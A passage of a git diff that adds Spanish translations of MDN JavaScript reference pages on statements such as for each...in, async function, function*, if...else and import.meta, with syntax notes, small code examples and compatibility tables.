+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>Itera una variable especifica por todos los valores de las propiedades del objeto. Para cada propiedad distinta, una sentencia especifica es ejecutada.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">for each (<em>variable</em> in <em>objeto</em>)
+  <em>sentencia</em>
+</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>Variable a iterar sobre los valores de las propiedades, opcionalmente declarado con la palabra reservada <code>var</code>. Esta variable es local a la función, no al bucle.</dd>
+</dl>
+
+<dl>
+ <dt><code>objeto</code></dt>
+ <dd>Objeto por el cual las propiedades son iteradas.</dd>
+</dl>
+
+<dl>
+ <dt><code>sentencia</code></dt>
+ <dd>Una sentencia a ejecutar para cada propiedad. Para ejecutar multiples sentencias dentro del bucle use una sentencia {{jsxref("Sentencias/block", "block")}} para agrupar esas sentencias.</dd>
+</dl>
+
+<h2 id="Descripción" name="Descripción">Descripción</h2>
+
+<p>Algunas propiedades integradas no son iteradas. Estas incluyen todos los metodos integrados, p.ej.: el método <code>indexOf</code> de <code>String</code>. Sin embargo, todas las propiedades definidas por el usuario son iteradas.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example_Using_for_each...in" name="Example:_Using_for_each...in">Ejemplo: Uso de <code>for each...in</code></h3>
+
+<p><strong>Atención:</strong> Nunca usar un bucle como este en arrays. Solamente usar en objetos. Más detalles: {{jsxref("Sentencias/for...in", "for...in")}}.</p>
+
+<p>El siguiente fragmento de código itera sobre las propiedades de un objeto, calculando su suma:</p>
+
+<pre class="brush: js">var sum = 0;
+var obj = {prop1: 5, prop2: 13, prop3: 8};
+for each (var item in obj) {
+  sum += item;
+}
+print(sum); // imprime "26", que es 5+13+8
+</pre>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Sentencias/for...in", "for...in")}} – una sentencia similar que itera sobre los nombres (<em>names</em>) de las propiedades.</li>
+ <li>{{jsxref("Sentencias/for", "for")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/funcion_asincrona/index.html b/files/es/web/javascript/referencia/sentencias/funcion_asincrona/index.html
new file mode 100644
index 0000000000..573c10fad8
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/funcion_asincrona/index.html
@@ -0,0 +1,173 @@
+---
+title: Función async
+slug: Web/JavaScript/Referencia/Sentencias/funcion_asincrona
+tags:
+  - Declaración
+  - Ejemplo
+  - JavaScript
+  - función
+translation_of: Web/JavaScript/Reference/Statements/async_function
+---
+<div>
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La declaración de función <code><strong>async</strong></code> define una <em>función asíncrona</em>, la cual devuelve un objeto {{jsxref("Global_Objects/AsyncFunction","AsyncFunction")}}.</p>
+
+<div class="noinclude">
+<p>Es posible definir también funciones asíncronas a través de una {{jsxref("Operators/async_function", "expresión de función async", "", 1)}}.</p>
+</div>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-async.html", "taller")}}</div>
+
+<p class="hidden">The source for this interactive demo is stored in a GitHub repository. If you'd like to contribute to the interactive demo project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">async function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>El nombre de la función.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>El nombre de un argumento que se debe pasar a la función.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>Las declaraciones que conforman el cuerpo de la función.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un objeto {{jsxref("Global_Objects/AsyncFunction","AsyncFunction")}}, que representa una función asíncrona que ejecuta el código contenido dentro de la función.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Cuando se llama a una función <code>async</code>, esta devuelve un elemento {{jsxref("Promise")}}. Cuando la función <code>async</code> devuelve un valor, <code>Promise</code> se resolverá con el valor devuelto. Si la función <code>async</code> genera una excepción o algún valor, <code>Promise</code> se rechazará con el valor generado.</p>
+
+<p>Una función <code>async</code> puede contener una expresión {{jsxref("Operators/await", "await")}}, la cual pausa la ejecución de la función asíncrona y espera la resolución de la <code>Promise</code> pasada y, a continuación, reanuda la ejecución de la función <code>async</code> y devuelve el valor resuelto.</p>
+
+<div class="note">
+<p>La finalidad de las funciones <code>async</code>/<code>await</code> es simplificar el comportamiento del uso síncrono de promesas y realizar algún comportamiento específico en un grupo de <code>Promises</code>. Del mismo modo que las <code>Promises</code> son semejantes a las devoluciones de llamadas estructuradas, <code>async</code>/<code>await</code> se asemejan a una combinación de generadores y promesas.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_sencillo">Ejemplo sencillo</h3>
+
+<pre class="brush: js">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+
+async function add1(x) {
+  const a = await resolveAfter2Seconds(20);
+  const b = await resolveAfter2Seconds(30);
+  return x + a + b;
+}
+
+add1(10).then(v =&gt; {
+  console.log(v);  // prints 60 after 4 seconds.
+});
+
+
+async function add2(x) {
+  const p_a = resolveAfter2Seconds(20);
+  const p_b = resolveAfter2Seconds(30);
+  return x + await p_a + await p_b;
+}
+
+add2(10).then(v =&gt; {
+  console.log(v);  // prints 60 after 2 seconds.
+});
+</pre>
+
+<div class="warning">
+<h4 id="No_se_deben_confundir_await_y_Promise.all">No se deben confundir <code>await</code> y <code>Promise.all</code></h4>
+
+<p>En <code>add1</code>, la ejecución se suspende durante dos segundos correspondientes al primer operador <code>await</code>, y luego durante otros dos segundos correspondientes al segundo <code>await</code>. El segundo temporizador no se crea hasta que el primero no se haya disparado ya. En <code>add2</code>, ambos temporizadores se crean y, acto seguido, ambos reciben <code>await</code>. Esto provoca la resolución en dos segundos y no cuatro, ya que los temporizadores se ejecutaron de manera simultánea. Sin embargo, ambas llamadas <code>await</code> aún pueden ejecutarse en series, no en paralelo: esto <strong>no</strong> constituye ninguna aplicación automática de <code>Promise.all</code>. Si se desea aplicar <code>await</code> a dos o más promesas en paralelo, es preciso utilizar <code>Promise.all</code>.</p>
+</div>
+
+<h3 id="Reescritura_de_una_cadena_de_promesas_con_una_función_async">Reescritura de una cadena de promesas con una función <code>async</code></h3>
+
+<p>Una API que devuelva una {{jsxref("Promise")}} tendrá como resultado una cadena de promesas, y dividirá la función en muchas partes. Estudie este código:</p>
+
+<pre class="brush: js">function getProcessedData(url) {
+  return downloadData(url) // returns a promise
+    .catch(e =&gt; {
+      return downloadFallbackData(url)  // returns a promise
+    })
+    .then(v =&gt; {
+      return processDataInWorker(v); // returns a promise
+    });
+}
+</pre>
+
+<p>Es posible reescribirlo utilizando un solo operador <code>async</code> de esta manera:</p>
+
+<pre class="brush: js">async function getProcessedData(url) {
+  let v;
+  try {
+    v = await downloadData(url);
+  } catch(e) {
+    v = await downloadFallbackData(url);
+  }
+  return processDataInWorker(v);
+}
+</pre>
+
+<p>Observe que, en el ejemplo anterior, no hay ninguna instrucción <code>await</code> dentro de la instrucción <code>return</code>, porque el valor de retorno de una <code>async function</code> queda implícitamente dentro de un {{jsxref("Promise.resolve")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'Función async')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Definición inicial en ES2017.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-async-function-definitions', 'Función async')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.statements.async_function")}}</p>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Operators/async_function", "Expresión de función async")}}</li>
+ <li>Objeto {{jsxref("AsyncFunction")}}</li>
+ <li>{{jsxref("Operators/await", "await")}}</li>
+ <li><a href="http://innolitics.com/10x/javascript-decorators-for-promise-returning-functions/">«Decorar funciones async de JavaScript» en innolitics.com</a> (en inglés)</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/function/index.html b/files/es/web/javascript/referencia/sentencias/function/index.html
new file mode 100644
index 0000000000..36b02935d9
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/function/index.html
@@ -0,0 +1,52 @@
+---
+title: function
+slug: Web/JavaScript/Referencia/Sentencias/function
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/function
+---
+<div>
+ {{jsSidebar("Statements")}}</div>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Declara una función con los parámetros especificados.</p>
+<p>Puede también definir funciones usando el constructor {{jsxref("Function")}} y el {{jsxref("Operadors/function", "function")}} (expresión function).</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox">function <em>nombre</em>([<em>parametro1</em>] [,<em>parametro2</em>] [..., <em>parametroN</em>]) {<em>sentencias</em>}
+</pre>
+<dl>
+ <dt>
+  <code>nombre</code></dt>
+ <dd>
+  El nombre de la función.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>parametroN</code></dt>
+ <dd>
+  El nombre de un argumento que se pasa a la función. Una función puede tener hasta 255 argumentos.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>sentencias</code></dt>
+ <dd>
+  Las sentencias que comprenden el cuerpo de la función.</dd>
+</dl>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>Para devolver un valor, la función debe tener una sentencia {{jsxref("Sentencias/return", "return")}} que especifica el valor a devolver.</p>
+<p>Una función creada con la sentencia <code>function</code> es un objeto <code>Function</code> y tiene todas las propiedades, métodos, y comportamiento de los objetos <code>Function</code>. Vea {{jsxref("Function")}} para información detallada sobre funciones.</p>
+<p>Una función puede también ser declarada dentro de una expresión. En este caso la función es normalmente anónima. Vea {{jsxref("Operadores/function", "function expression")}} para más información acerca de <code>function</code> (expresión function).</p>
+<p>Las funciones pueden declararse condicionalmente. Es decir, una definición de una función puede estar anidada dentro de una sentecia <code>if</code>. Técnicamente, tales declaraciones no son en realidad declaraciones de funciones; son expresiones function (expresiones de función).</p>
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+<h3 id="Ejemplo:_Usando_function" name="Ejemplo:_Usando_function">Ejemplo: Usando <code>function</code></h3>
+<p>El siguiente código declara una función que devuelve la cantidad total de ventas, cuando se da el número de unidades vendidas de productos <code>a</code>, <code>b</code>, y <code>c</code>.</p>
+<pre class="brush: js">function calcular_ventas(unidades_a, unidades_b, unidades_c) {
+   return unidades_a*79 + unidades_b * 129 + unidades_c * 699;
+}
+</pre>
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Funciones">Funciones</a></li>
+ <li>{{jsxref("Function")}}</li>
+ <li>Operadores{{jsxref("Operadores/function", "function")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/function_star_/index.html b/files/es/web/javascript/referencia/sentencias/function_star_/index.html
new file mode 100644
index 0000000000..79ff51b7f2
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/function_star_/index.html
@@ -0,0 +1,224 @@
+---
+title: function*
+slug: Web/JavaScript/Referencia/Sentencias/function*
+tags:
+  - Declaración
+  - Experimental
+  - Expérimental(2)
+  - Iterador
+  - función
+translation_of: Web/JavaScript/Reference/Statements/function*
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La declaración <code><strong>function*</strong></code> (la palabra clave <code>function</code> seguida de un asterisco) define una <em>función generadora</em>, que devuelve un objeto {{jsxref("Global_Objects/Generator","Generator")}}.</p>
+
+<div class="noinclude">
+<p>También puedes definir funciones generadoras usando el constructor {{jsxref("GeneratorFunction")}} y una {{jsxref("Operators/function*", "function* expression")}}.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">function* <em>nombre</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>instrucciones</em>
+}
+</pre>
+
+<dl>
+ <dt><code>nombre</code></dt>
+ <dd>El nombre de la función.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>El nombre de los argumentos que se le van a pasar a la función. Una función puede tener hasta 255 argumentos.</dd>
+</dl>
+
+<dl>
+ <dt><code>instrucciones</code></dt>
+ <dd>Las instrucciones que componen el cuerpo de la función.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Los generadores son funciones de las que se puede salir y volver a entrar. Su contexto (asociación de variables) será conservado entre las reentradas.</p>
+
+<p>La llamada a una función generadora no ejecuta su cuerpo inmediatamente; se devuelve un objeto <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">iterador</a> para la función en su lugar. Cuando el metodo <code>next()</code> del iterador es llamado , el cuerpo de la función generadora es ejecutado hasta la primera expresión {{jsxref("Operators/yield", "yield")}}, la cual especifica el valor que será retornado por el iterador o con, {{jsxref("Operators/yield*", "yield*")}}, delega a otra función generadora. El método <code>next()</code> retorna un objeto con una propiedad <em>value</em> que contiene el valor bajo el operador yield y una propiedad <em>done </em>que indica, con un booleano, si la función generadora ha hecho yield al último valor.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_simple">Ejemplo simple</h3>
+
+<pre class="brush: js">function* idMaker(){
+  var index = 0;
+  while(index &lt; 3)
+    yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+console.log(gen.next().value); // undefined
+// ...</pre>
+
+<h3 id="Ejemplo_con_yield*">Ejemplo con yield*</h3>
+
+<pre class="brush: js">function* anotherGenerator(i) {
+  yield i + 1;
+  yield i + 2;
+  yield i + 3;
+}
+
+function* generator(i){
+  yield i;
+  yield* anotherGenerator(i);
+  yield i + 10;
+}
+
+var gen = generator(10);
+
+console.log(gen.next().value); // 10
+console.log(gen.next().value); // 11
+console.log(gen.next().value); // 12
+console.log(gen.next().value); // 13
+console.log(gen.next().value); // 20
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#', 'function*')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>yield*</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("27.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>IteratorResult</code> object instead of throwing</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("29.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>yield*</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("27.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>IteratorResult</code> object instead of throwing</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("29.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notas_específicas_de_Firefox">Notas específicas de Firefox</h3>
+
+<h4 id="Generadores_e_iteradores_en_versiones_de_Firefox_anteriores_a_26">Generadores e iteradores en versiones de Firefox anteriores a 26</h4>
+
+<p>Las versiones anteriores de FireFox implementan así mismo una versión anterior de la propuesta de generadores. En la versión anterior, los generadores eran definidos utilizando la declaración <code>function</code> de una manera regular (Sin asterisco).  Véase <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">Legacy generator function </a>para mayor información.</p>
+
+<h4 id="IteratorResult_object_returned_instead_of_throwing"><code>IteratorResult</code> object returned instead of throwing</h4>
+
+<p>Starting with Gecko 29 {{geckoRelease(29)}}, the completed generator function no longer throws a {{jsxref("TypeError")}} "generator has already finished". Instead, it returns an <code>IteratorResult</code> object like <code>{ value: undefined, done: true }</code> ({{bug(958951)}}).</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}} object</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+ <li>{{jsxref("Function")}} object</li>
+ <li>{{jsxref("Statements/function", "function declaration")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+ <li>Other web resources:
+  <ul>
+   <li><a href="http://facebook.github.io/regenerator/">Regenerator</a> an ES2015 generator compiler to ES5</li>
+   <li><a href="http://www.youtube.com/watch?v=qbKWsbJ76-s">Forbes Lindesay: Promises and Generators: control flow utopia -- JSConf EU 2013</a></li>
+   <li><a href="https://www.youtube.com/watch?v=ZrgEZykBHVo&amp;list=PLuoyIZT5fPlG44bPq50Wgh0INxykdrYX7&amp;index=1">Hemanth.HM: The New gen of *gen(){}</a></li>
+   <li><a href="http://taskjs.org/">Task.js</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/if...else/index.html b/files/es/web/javascript/referencia/sentencias/if...else/index.html
new file mode 100644
index 0000000000..3bac571218
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/if...else/index.html
@@ -0,0 +1,109 @@
+---
+title: if...else
+slug: Web/JavaScript/Referencia/Sentencias/if...else
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/if...else
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>Ejecuta una sentencia si una condición específicada es evaluada como verdadera. Si la condición es evaluada como falsa, otra sentencia puede ser ejecutada.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">if (<em>condición</em>) <em>sentencia1</em> [else <em>sentencia2</em>]
+</pre>
+
+<dl>
+ <dt><code>condición</code></dt>
+ <dd>Una expresión que puede ser evaluada como verdadera o falsa.</dd>
+</dl>
+
+<dl>
+ <dt><code>sentencia1</code></dt>
+ <dd>Sentencia que se ejecutará si <code>condición</code> es evaluada como verdadera. Puede ser cualquier sentencia, incluyendo otras sentenccias <code>if</code> anidadas. Para ejecutar múltiples sentencias, use una sentencia {{jsxref("Sentencias/block", "block")}} ({ ... }) para agruparlas.</dd>
+</dl>
+
+<dl>
+ <dt><code>sentencia2</code></dt>
+ <dd>Sentencia que se ejecutará si <code>condición</code> se evalúa como falsa, y exista una cláusula <code>else</code>. Puede ser cualquier sentencia, incluyendo sentencias block y otras sentencias <code>if</code> anidadas.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Multiples sentencias <code>if...else</code> pueden ser anidadas para crear una cláusula <code>else if</code>:</p>
+
+<pre>if (<em>condición1</em>)
+   <em>sentencia1</em>
+else if (<em>condición2</em>)
+   <em>sentencia2</em>
+else if (<em>condición3</em>)
+   <em>sentencia3</em>
+...
+else
+   <em>sentenciaN</em>
+</pre>
+
+<p>Para entender como esto funciona, así es como se vería si el anidamiento hubiera sido indentado correctamente:</p>
+
+<pre>if (<em>condición1</em>)
+   <em>sentencia1</em>
+else
+   if (<em>condición2</em>)
+      <em>sentencia2</em>
+   else
+      if (<em>condición3</em>)
+        ...
+</pre>
+
+<p>Para ejecutar varias sentencias en una cláusula, use una sentencia block (<code>{ ... }</code>) para agruparlas. Generalmente, es una buena práctica usar siempre sentencias block, especialmente en código que incluya sentencias if anidadas:</p>
+
+<pre class="brush: js">if (condición) {
+   sentencia1
+} else {
+   sentencia2
+}
+</pre>
+
+<p>No confundir los valores primitivos <code>true</code> y <code>false</code> con los valores true y false del objeto {{jsxref("Boolean")}}. Cualquier valor diferente de <code>undefined</code>, <code>null</code>, <code>0</code>, <code>-0</code>, <code>NaN</code>, o la cadena vacía (<code>""</code>), y cualquier objecto, incluso un objeto Boolean cuyo valor es false, se evalúa como verdadero en una sentencia condicional. Por ejemplo:</p>
+
+<pre class="brush: js">var b = new Boolean(false);
+if (b) // Esta condición se evalúa como verdadera
+</pre>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Using_if...else" name="Example:_Using_if...else">Ejemplo: Uso de <code>if...else</code></h3>
+
+<pre class="brush: js">if (cipher_char == from_char) {
+   result = result + to_char;
+   x++;
+} else
+   result = result + clear_char;
+</pre>
+
+<h3 id="Example:_Assignment_within_the_conditional_expression" name="Example:_Assignment_within_the_conditional_expression">Ejemplo: Asignación en una expresión condicional</h3>
+
+<p>Es aconsejable no usar asignaciones simples en una expresión condicional, porque la asignación puede ser confundida con igualdad (operador relacional) cuando se lee el código. Por ejemplo, no use el siguiente código:</p>
+
+<pre class="brush: js">if (x = y) {
+   /* sentencia */
+}
+</pre>
+
+<p>Si realmente necesita una asignación dentro de una exprsión condicional, una práctica común es poner paréntesis adicionales alrededor del la asignación, por ejemplo:</p>
+
+<pre class="brush: js">if ((x = y)) {
+   /* sentencia */
+}
+</pre>
+
+<h2 id="Vea_También">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("Sentencias/block", "block")}}</li>
+ <li>{{jsxref("Sentencias/switch", "switch")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/import.meta/index.html b/files/es/web/javascript/referencia/sentencias/import.meta/index.html
new file mode 100644
index 0000000000..8c09e97475
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/import.meta/index.html
@@ -0,0 +1,93 @@
+---
+title: import.meta
+slug: Web/JavaScript/Referencia/Sentencias/import.meta
+translation_of: Web/JavaScript/Reference/Statements/import.meta
+---
+<div>{{JSSidebar("Statements")}}</div>
+
+<p>El objeto<strong> <code>import.meta</code></strong> expone el contenido especifico de la metadata al módulo JavaScript. Este contiene informacion sobre el módulo, como por ejemplo, la URL del mismo.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">import.meta</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La sintasis consiste de la palabra clave  {{JSxRef("Statements/import","import")}},un punto, y un identificador <code>meta</code>. Normalmente, la parte a la izquierda del punto es el objeto sobre el cual la accion es realizada, pero aqui <code>import</code> no es realmente un objeto.</p>
+
+<p>El objeto <code>import.meta</code> es creado por la implementacion ECMAScript , con un prototipo {{JSxRef("null")}} . El objeto es extensible y sus propiedades son grabables, editables y enumerables.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_import.meta">Usando import.meta</h3>
+
+<p>Dado un módulo <code>my-module.js</code></p>
+
+<pre class="brush: html">&lt;script type="module" src="my-module.js"&gt;&lt;/script&gt;
+</pre>
+
+<p>puedes acceder a la meta información  sobre el módulo usando el objeto <code>import.meta</code>.</p>
+
+<pre class="brush: js;">console.log(import.meta); // { url: "file:///home/user/my-module.js" }</pre>
+
+<p>Este retorna un objeto con una propiedad  <code>url</code>  indicando la URL base del módulo.Esta será la URL de la que el script fue obtenido, por scripts externos, o  la URL base del documento que contiene el documento, por scripts inline.</p>
+
+<p>Nota que este incluirá parametros de la consulta y/o el hash (ej: seguido del <code>?</code> or <code>#</code>).</p>
+
+<p>Por ejemplo, con el siguiente HTML:</p>
+
+<pre class="brush: html">&lt;script type="module"&gt;
+import './index.mjs?someURLInfo=5';
+&lt;/script&gt;</pre>
+
+<p>..El siguiente archivo JavaScript registrará el parámetro <code>someURLInfo</code>:</p>
+
+<pre class="brush: js">// index.mjs
+new URL(import.meta.url).searchParams.get('someURLInfo'); // 5</pre>
+
+<p>Lo mismo aplica cuando un archivo importa otro:</p>
+
+<pre class="brush: js">// index.mjs
+import './index2.mjs?someURLInfo=5';
+
+// index2.mjs
+new URL(import.meta.url).searchParams.get('someURLInfo'); // 5</pre>
+
+<p>Nota que mientras Node.js pasa en la consulta los parámetros (o el hash ) como en el último ejemplo, a partir de Node 14.1.0, una URL con parametros en la consulta fallará  cuando se  carguen en el formato <code>node --experimental-modules index.mjs?someURLInfo=5</code> (es tratado como un archivo en lugar de una URL en este contexto).</p>
+
+<p>Tal argumento específico del archivo podria ser complementario al  usado en toda la aplicacion  <code>location.href</code> (con consultas strings o hash añadidas despues de la ruta HTML) (o en Node.js, mediante <code>process.argv</code>).</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+  </tr>
+  <tr>
+   <td><code><a href="https://tc39.es/proposal-import-meta/#prod-ImportMeta">import.meta</a></code> proposal</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webappapis.html#hostgetimportmetaproperties", "import.meta")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.statements.import_meta")}}</p>
+
+<h3 id="Implementation_Progress">Implementation Progress</h3>
+
+<p>La siguiente tabla provee el estatus de implementación diaria para esta caracteristica, porque esta caracteristica aun no ha alcanzado la estabilidad entre navegadores. La información es generada corriendo los test relevantes de la caracteristica en <a href="https://github.com/tc39/test262">Test262</a>, la suite estandar de test de JavaScript, en el build nocturno,  o en el último release de cada  motor de los browser de JavaScript.</p>
+
+<div>{{EmbedTest262ReportResultsTable("import.meta")}}</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{JSxRef("Statements/import", "import")}}</li>
+ <li>{{JSxRef("Statements/export", "export")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/import/index.html b/files/es/web/javascript/referencia/sentencias/import/index.html
new file mode 100644
index 0000000000..7d2c261d0e
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/import/index.html
@@ -0,0 +1,177 @@
+---
+title: import
+slug: Web/JavaScript/Referencia/Sentencias/import
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Módulos
+  - Sentencia
+  - import
+translation_of: Web/JavaScript/Reference/Statements/import
+---
+<div>{{jsSidebar("Sentencias")}}</div>
+
+<p>La sentencia <code><strong>import</strong></code> se usa para importar funciones que han sido exportadas desde un módulo externo.</p>
+
+<div class="note">
+<p>Por el momento, esta característica sólo está <a href="https://jakearchibald.com/2017/es-modules-in-browsers/">comenzando a ser implementada</a> de forma nativa en los navegadores. Está implementada en muchos transpiladores, tales como Typescript y <a href="http://babeljs.io/">Babel</a>, y en empaquetadores como <a href="https://github.com/rollup/rollup">Rollup</a> y <a href="https://webpack.js.org/">Webpack</a>.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
